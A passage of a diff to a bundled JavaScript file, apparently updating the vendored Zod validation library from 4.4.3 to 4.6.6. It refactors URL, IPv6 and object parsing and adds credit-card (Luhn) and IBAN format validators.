inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -56908,11 +57217,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -56946,12 +57250,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -56971,18 +57300,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -57000,31 +57333,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -57037,6 +57369,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -57060,6 +57394,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -57067,6 +57402,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -57113,22 +57449,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -57178,58 +57531,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -57247,7 +57647,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -57289,16 +57691,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -57312,30 +57716,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -57360,10 +57764,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -57376,17 +57780,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -57403,6 +57807,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -57453,22 +57922,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -57488,13 +57957,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57527,13 +57996,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57544,13 +58013,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57561,13 +58030,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57596,13 +58065,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57617,21 +58086,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -57640,21 +58134,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -57663,6 +58160,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -57670,16 +58169,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -57691,58 +58195,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -57754,28 +58275,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -57783,91 +58307,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) 